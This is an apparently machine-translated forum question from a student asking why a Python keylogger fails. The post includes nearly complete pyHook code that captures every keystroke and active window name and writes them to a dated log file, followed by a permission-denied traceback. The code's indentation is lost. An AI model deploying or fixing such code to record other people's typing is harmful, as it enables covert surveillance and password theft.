-2
即時通訊新手入門,今年我們開始在學校學習python,但是我們做了基本的事情,而且我有點無聊,所以我一直在尋找有趣的腳本,直到找到了如何製作鍵盤記錄。我有一些代碼,但它不工作。我修正了一些錯誤,但仍鍵盤記錄錯誤
(注:我不會使用,除了我的舊電腦這個其他地方所以是的,並不想成爲一個黑客或W/E)
(注2:對不起,我英語不好,IM希臘:P)
import pyHook, pythoncom
from datetime import datetime
todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\\Documents'+todays_date+'.txt'
line_buffer = "" #current typed line before return character
window_name = "" #current window
def SaveLineToFile(line):
current_time = datetime.now().strftime('%H:%M:%S')
line = "[" + current_time + "] " + line
todays_file = open(file_name, 'a') #open todays file (append mode)
todays_file.write(line) #append line to file
todays_file.close() #close todays file
def OnKeyboardEvent(event):
global line_buffer
global window_name
#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value
"""if typing in new window"""
if(window_name != event.WindowName): #if typing in new window
if(line_buffer != ""): #if line buffer is not empty
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: any non printed characters from old window
line_buffer = "" #clear the line buffer
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name
window_name = event.WindowName #set the new window name
"""if return or tab key pressed"""
if(event.Ascii == 13 or event.Ascii == 9): #return key
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: the line buffer
line_buffer = "" #clear the line buffer
return True #exit event
"""if backspace key pressed"""
if(event.Ascii == 8): #backspace key
line_buffer = line_buffer[:-1] #remove last character
return True #exit event
"""if non-normal ascii character"""
if(event.Ascii < 32 or event.Ascii > 126):
if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
pass #do nothing
else:
line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
line_buffer += chr(event.Ascii) #add pressed character to line buffer
return True #pass event to other handlers
hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events
的錯誤是:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name
File "C:\Python27\test123.py", line 13, in SaveLineToFile
todays_file = open(file_name, 'a') #open todays file (append mode)
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt'
非常感謝您的先生:) –